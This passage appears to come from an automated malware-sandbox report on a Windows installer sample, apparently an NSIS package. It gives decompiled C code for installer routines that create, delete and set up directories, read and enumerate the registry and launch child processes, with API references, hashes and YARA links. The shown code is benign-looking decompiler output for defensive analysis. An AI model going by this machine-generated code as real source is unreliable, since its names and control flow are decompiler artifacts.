				if( *((intOrPtr*)(_t55 - 0x28)) >= _t42) {
					_push( *(_t55 - 0xc));
					E00405C8D();
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bd3
0x00401bdf
0x00401be2
0x00401beb
0x00401beb
0x00401bee
0x00401bf2
0x00401bfb
0x00401bfb
0x00401bfe
0x00401c02
0x00401c04
0x00401c51
0x00401c53
0x00401c5c
0x00401c64
0x00401c67
0x00401c67
0x00401c70
0x00000000
0x00401c06
0x00401c0d
0x00401c0f
0x00401c17
0x00401c1a
0x00401c42
0x00401c76
0x00401c76
0x00401c1c
0x00401c2a
0x00401c32
0x00401c35
0x00401c35
0x00401c1a
0x00401c79
0x00401c7c
0x00401c82
0x00402877
0x00402877
0x004028d2
0x004028de

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32 ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction ID: 4a41e99441af98314081ed165e1285c49616552a54b2ccacd5bb7637226e5887
Opcode Fuzzy Hash: 22b2b84ea6fcd6b14ed9c5c60211004c3ca56765c3c02eadf23789df00b13e66
Instruction Fuzzy Hash: 76216271A44108BFEB12AFB0C94AAAD7B75DB44308F14807EF541B61D1D6B885419B29

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004015B3(char __ebx) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402A3A(0xfffffff0);
				_t13 = E0040583A(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E004057CC(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E0040548B(_t28);
						} else {
							_t38 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E004054A8(_t38) == 0) {
								goto L5;
							} else {
								_t22 = E0040540E(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405D2F("C:\\Program Files (x86)\\AstroGrep", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d2
0x004015d4
0x004015d8
0x004015db
0x004015f3
0x004015f4
0x004015dd
0x004015dd
0x004015e0
0x00000000
0x004015eb
0x004015ec
0x004015ec
0x004015e0
0x004015fb
0x00401602
0x0040160f
0x0040160f
0x00401604
0x00401605
0x0040160d
0x00000000
0x00000000
0x0040160d
0x00401602
0x00401612
0x00401615
0x00401617
0x00401618
0x004015c8
0x0040161f
0x0040164a
0x004021c4
0x00401621
0x00401623
0x0040162e
0x00401634
0x0040163c
0x00401642
0x00401642
0x0040163c
0x004028d2
0x004028de

APIs

Part of subcall function 0040583A: CharNextA.USER32(?), ref: 00405848
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 0040584D
Part of subcall function 0040583A: CharNextA.USER32(00000000), ref: 00405861

GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605

Part of subcall function 0040540E: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405451

SetCurrentDirectoryA.KERNELBASE(00000000,C:\Program Files (x86)\AstroGrep,00000000,00000000,000000F0), ref: 00401634

Strings

C:\Program Files (x86)\AstroGrep, xrefs: 00401629

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Program Files (x86)\AstroGrep
API String ID: 1892508949-2344716657
Opcode ID: deac6dc071e9533c58350b4708d0caef2e548cc73378f66c521ca59dd2e6ec16
Instruction ID: add3044d5edc1dd1b42d505c238b4ff4158083b6ff7b93d5c81ca089004ad06d
Opcode Fuzzy Hash: deac6dc071e9533c58350b4708d0caef2e548cc73378f66c521ca59dd2e6ec16
Instruction Fuzzy Hash: C7112736504141ABEF217B650C415BF37B4EAA6325738463FE592B22E2C63C4943A63F

Uniqueness

Uniqueness Score: -1.00%

Function 00404EBC, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404EBC(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t9;
				int _t11;
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					__eflags = _t15 - 0x200;
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						__eflags = _t15 - 0x419;
						if(_t15 == 0x419) {
							__eflags =  *0x429854 - _t16; // 0x0
							if(__eflags != 0) {
								_push(_t16);
								_push(6);
								 *0x429854 = _t16;
								E00404893();
							}
						}
						L11:
						_t9 = CallWindowProcA( *0x42985c, _a4, _t15, _a12, _t16); // executed
						return _t9;
					}
					_t11 = IsWindowVisible(_a4);
					__eflags = _t11;
					if(_t11 == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404813(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 == 0x20) {
					E00403F60(0x413);
					return 0;
				}
				goto L10;
			}

0x00404ec0
0x00404eca
0x00404ee0
0x00404ee6
0x00404f08
0x00404f0b
0x00404f0b
0x00404f11
0x00404f13
0x00404f19
0x00404f1b
0x00404f1c
0x00404f1e
0x00404f24
0x00404f24
0x00404f19
0x00404f2e
0x00404f3c
0x00000000
0x00404f3c
0x00404eeb
0x00404ef1
0x00404ef3
0x00404f2b
0x00404f2b
0x00000000
0x00404f2b
0x00404eff
0x00404f01
0x00000000
0x00404f01
0x00404ed0
0x00404ed7
0x00000000
0x00404edc
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404EEB
CallWindowProcA.USER32(?,?,?,?), ref: 00404F3C

Part of subcall function 00403F60: SendMessageA.USER32 ref: 00403F72

Strings

, xrefs: 00404ECC

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction ID: 2a78fc1f4cbdadc5126368fc20cebde0bfb6f5e986cb98bc8d814c8ad8ef1b08
Opcode Fuzzy Hash: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction Fuzzy Hash: 6D01F7B150420AAFEF20AF51DE80A5B3766E7C4751F284037FB00762D0C3799C51966D

Uniqueness

Uniqueness Score: -1.00%

Function 0040361A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040361A() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x42882c; // 0x0
				_t3 = E004035FF(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8)); // executed
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x42882c =  *0x42882c & 0x00000000;
				return _t3;
			}

0x0040361b
0x00403623
0x0040362a
0x0040362d
0x0040362d
0x0040362f
0x00403634
0x0040363b
0x00403641
0x00403645
0x00403646
0x0040364e

APIs

FreeLibrary.KERNELBASE(?,76712754,00000000,C:\Users\user\AppData\Local\Temp\,004035F2,0040340C,?), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040361A

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4017390910
Opcode ID: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction ID: 1a9bfca33d817e772708c534a1c0ef1eeb9da564593c1c7aee7843147688a1a4
Opcode Fuzzy Hash: dccbf9c36de3459267eb1af99735bed06c7a158201479be104942c1c24015bd8
Instruction Fuzzy Hash: 60E08C329050606BC6316F15ED04B2E76A9AB48B22F42006AEA407B3A08B756C424BCC

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 4.5, APIs: 3, Instructions: 48
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00401E44() {
				void* _t15;
				void* _t24;
				void* _t26;
				void* _t31;

				_t28 = E00402A3A(_t24);
				E00404F48(0xffffffeb, _t13);
				_t15 = E004054C0(_t28);
				 *(_t31 + 8) = _t15;
				if(_t15 == _t24) {
					 *((intOrPtr*)(_t31 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t31 - 0x20)) != _t24) {
						while(WaitForSingleObject( *(_t31 + 8), 0x64) == 0x102) {
							E00406104(0xf);
						}
						GetExitCodeProcess( *(_t31 + 8), _t31 - 0xc);
						if( *((intOrPtr*)(_t31 - 0x24)) < _t24) {
							if( *(_t31 - 0xc) != _t24) {
								 *((intOrPtr*)(_t31 - 4)) = 1;
							}
						} else {
							E00405C8D(_t26,  *(_t31 - 0xc));
						}
					}
					_push( *(_t31 + 8));
					CloseHandle(); // executed
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t31 - 4));
				return 0;
			}

0x00401e4a
0x00401e4f
0x00401e55
0x00401e5c
0x00401e5f
0x004026a6
0x00401e65
0x00401e68
0x00401e79
0x00401e74
0x00401e74
0x00401e8e
0x00401e97
0x00401ea7
0x00401ea9
0x00401ea9
0x00401e99
0x00401e9d
0x00401e9d
0x00401e97
0x00401eb0
0x00401eb3
0x00401eb3
0x004028d2
0x004028de

APIs

Part of subcall function 00404F48: lstrlenA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00402FFA,00402FFA,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00641654,766F110C), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32 ref: 00405004

Part of subcall function 004054C0: CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
Part of subcall function 004054C0: CloseHandle.KERNEL32(?), ref: 004054F6

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNELBASE(?), ref: 00401EB3

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: 4265451f34970a29c9b42ccc27b09e0bc97d5df8a1db45b10bb320e4061107e6
Instruction ID: 17c2ba3ee0df36fac51d80065c7f5b12f0089491b6a7036ff5f4409f8054ee18
Opcode Fuzzy Hash: 4265451f34970a29c9b42ccc27b09e0bc97d5df8a1db45b10bb320e4061107e6
Instruction Fuzzy Hash: 3A014031904114EBEF11AFA1CD8999F7B76EF00358F10817BF601B62E1C7795A419B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405C16, Relevance: 4.5, APIs: 3, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00405C16(void* _a4, int _a8, char* _a12, int _a16, void* _a20) {
				long _t20;
				long _t23;
				long _t24;
				char* _t26;

				asm("sbb eax, eax");
				_t26 = _a16;
				 *_t26 = 0;
				_t20 = RegOpenKeyExA(_a4, _a8, 0,  ~_a20 & 0x00000100 | 0x00020019,  &_a20); // executed
				if(_t20 == 0) {
					_a8 = 0x400;
					_t23 = RegQueryValueExA(_a20, _a12, 0,  &_a16, _t26,  &_a8); // executed
					if(_t23 != 0 || _a16 != 1 && _a16 != 2) {
						 *_t26 = 0;
					}
					_t26[0x3ff] = 0;
					_t24 = RegCloseKey(_a20); // executed
					return _t24;
				}
				return _t20;
			}

0x00405c26
0x00405c28
0x00405c35
0x00405c3f
0x00405c47
0x00405c4c
0x00405c60
0x00405c68
0x00405c76
0x00405c76
0x00405c7b
0x00405c81
0x00000000
0x00405c81
0x00405c8a

APIs

RegOpenKeyExA.KERNEL32(80000002,00405E5B,00000000,00000002,?,00000002,?,?,00405E5B,80000002,Software\Microsoft\Windows\CurrentVersion,?,Remove folder: ,?), ref: 00405C3F
RegQueryValueExA.KERNEL32(?,?,00000000,00405E5B,?,00405E5B), ref: 00405C60
RegCloseKey.KERNEL32(?), ref: 00405C81

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: 20ca943cec1bfd02e9a7b8a7961d2af95be0026f17772609ad776ff58b8bf793
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 1601487254420EEFEB128F64EC48EEB3FACEF15394B004126FA04A6220D235D964CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402482, Relevance: 4.5, APIs: 3, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402482(int* __ebx, char* __esi) {
				int _t8;
				long _t11;
				int* _t14;
				void* _t18;
				char* _t20;
				void* _t22;
				void* _t25;

				_t20 = __esi;
				_t14 = __ebx;
				_t18 = E00402B44(_t25, 0x20019);
				_t8 = E00402A1D(3);
				 *__esi = __ebx;
				if(_t18 == __ebx) {
					L7:
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					 *(_t22 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t22 - 0x18)) == __ebx) {
						_t11 = RegEnumValueA(_t18, _t8, __esi, _t22 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t11;
						if(_t11 != 0) {
							goto L7;
						} else {
							goto L4;
						}
					} else {
						RegEnumKeyA(_t18, _t8, __esi, 0x3ff);
						L4:
						_t20[0x3ff] = _t14;
						_push(_t18); // executed
						RegCloseKey(); // executed
					}
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00402482
0x00402482
0x0040248e
0x00402490
0x00402497
0x00402499
0x004026a6
0x004026a6
0x0040249f
0x004024a7
0x004024aa
0x004024c3
0x004024c9
0x004024cb
0x00000000
0x00000000
0x00000000
0x00000000
0x004024ac
0x004024b0
0x004024d1
0x004024d1
0x004024d7
0x004024d8
0x004024d8
0x004024aa
0x004028d2
0x004028de

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024B0
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024C3
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 06371cf6d5cd5c24906f8395af35970081992d6fcbf92cd5232b19a67d9e6aaa
Instruction ID: 651eecc7003a3be3ddeb342969b55079318d5f4ee149c111f32be82b22242bac
Opcode Fuzzy Hash: 06371cf6d5cd5c24906f8395af35970081992d6fcbf92cd5232b19a67d9e6aaa
Instruction Fuzzy Hash: 6FF0AD72A04200AFEB11AF659E88EBB7A6DEB40344B10443AF505A61C0D6B849459A7A

Uniqueness

Uniqueness Score: -1.00%

Function 00405589, Relevance: 4.5, APIs: 3, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00405589(void* __eflags, CHAR* _a4, signed int _a8) {
				int _t9;
				long _t13;
				CHAR* _t14;

				_t14 = _a4;
				_t13 = E0040597D(_t14);
				if(_t13 == 0xffffffff) {
					L8:
					return 0;
				}
				_push(_t14);
				if((_a8 & 0x00000001) == 0) {
					_t9 = DeleteFileA(); // executed
				} else {
					_t9 = RemoveDirectoryA(); // executed
				}
				if(_t9 == 0) {
					if((_a8 & 0x00000004) == 0) {
						SetFileAttributesA(_t14, _t13);
					}
					goto L8;
				} else {
					return 1;
				}
			}

0x0040558a
0x00405595
0x0040559a
0x004055ca
0x00000000
0x004055ca
0x004055a1
0x004055a2
0x004055ac
0x004055a4
0x004055a4
0x004055a4
0x004055b4
0x004055c0
0x004055c4
0x004055c4
0x00000000
0x004055b6
0x00000000
0x004055b8

APIs

Part of subcall function 0040597D: GetFileAttributesA.KERNELBASE(?,?,00405595,?,?,00000000,00405778,?,?,?,?), ref: 00405982
Part of subcall function 0040597D: SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405996

RemoveDirectoryA.KERNELBASE(?,?,?,00000000,00405778), ref: 004055A4
DeleteFileA.KERNELBASE(?,?,?,00000000,00405778), ref: 004055AC
SetFileAttributesA.KERNEL32(?,00000000), ref: 004055C4

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: 17f562840c1773a82e66d36c699c3ba4858698b3520e1b3e97930180dfe60130
Instruction ID: ea226f21057ae85524c233b0e105864c274fd993d0d76b55d7ba08098a11cf89
Opcode Fuzzy Hash: 17f562840c1773a82e66d36c699c3ba4858698b3520e1b3e97930180dfe60130
Instruction Fuzzy Hash: DDE0E53152AB51AAD21057308C0CB5F2EEAEF86324F040A3AF552F21D4C37888468ABE

Uniqueness

Uniqueness Score: -1.00%

Function 00403EED, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403EED(int _a4) {
				long _t3;

				if(_a4 == 0x78) {
					 *0x42dbcc =  *0x42dbcc + 1;
				}
				_t3 = SendMessageA( *0x42e408, 0x408, _a4, 0); // executed
				return _t3;
			}

0x00403ef2
0x00403ef4
0x00403ef4
0x00403f0b
0x00403f11

APIs

SendMessageA.USER32 ref: 00403F0B

Strings

x, xrefs: 00403EED

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID: x
API String ID: 3850602802-2363233923
Opcode ID: 7a9f1fa3dd0be59651df54e26dfd36179d296c2ea1a6027e512c3cc900362168
Instruction ID: 0defc1578c0d95c91bb2a5b33422b57c17ce645d8d356cb5eaab9656918cdef7
Opcode Fuzzy Hash: 7a9f1fa3dd0be59651df54e26dfd36179d296c2ea1a6027e512c3cc900362168
Instruction Fuzzy Hash: BBC01231A44200AEEB215B00DE09F067A20FB64B03F208039F345290B5C2702422EB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402410, Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402410(int* __ebx, char* __esi) {
				void* _t17;
				char* _t18;
				long _t21;
				void* _t33;
				void* _t37;
				void* _t40;

				_t35 = __esi;
				_t27 = __ebx;
				_t17 = E00402B44(_t40, 0x20019); // executed
				_t33 = _t17;
				_t18 = E00402A3A(0x33);
				 *__esi = __ebx;
				if(_t33 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x34) = 0x400;
					_t21 = RegQueryValueExA(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x34); // executed
					if(_t21 != 0) {
						L7:
						 *_t35 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x18) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
							E00405C8D(__esi,  *__esi);
						} else {
							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
								 *(_t37 - 4) =  *(_t37 - 0x18);
								_t35[0x3ff] = _t27;
							} else {
								goto L7;
							}
						}
					}
					_push(_t33); // executed
					RegCloseKey(); // executed
				}
				 *0x42e488 =  *0x42e488 +  *(_t37 - 4);
				return 0;
			}

0x00402410
0x00402410
0x00402415
0x0040241c
0x0040241e
0x00402425
0x00402427
0x004026a6
0x0040242d
0x00402430
0x00402440
0x0040244b
0x0040247b
0x0040247b
0x0040247d
0x0040244d
0x00402451
0x0040246a
0x00402471
0x00402474
0x00402453
0x00402456
0x00402461
0x004024d1
0x00000000
0x00000000
0x00000000
0x00402456
0x00402451
0x004024d7
0x004024d8
0x004024d8
0x004028d2
0x004028de

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegQueryValueExA.KERNEL32(00000000,00000000,?,?,?,?), ref: 00402440
RegCloseKey.KERNEL32(?,?,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 2fc456f067d7d2b16c5da38b508f8d43353395dda029af5291feda3b0f4e887d
Instruction ID: 7890893f0b843e6db6fa7552cbbd45c8f95600c1d4b4a320ca67a90271c7f2f1
Opcode Fuzzy Hash: 2fc456f067d7d2b16c5da38b508f8d43353395dda029af5291feda3b0f4e887d
Instruction Fuzzy Hash: 4511A771905205EFDF14DF64CA889AEBBB4EF15348F20443FE542B72C0D2B84A45DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x42e430;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
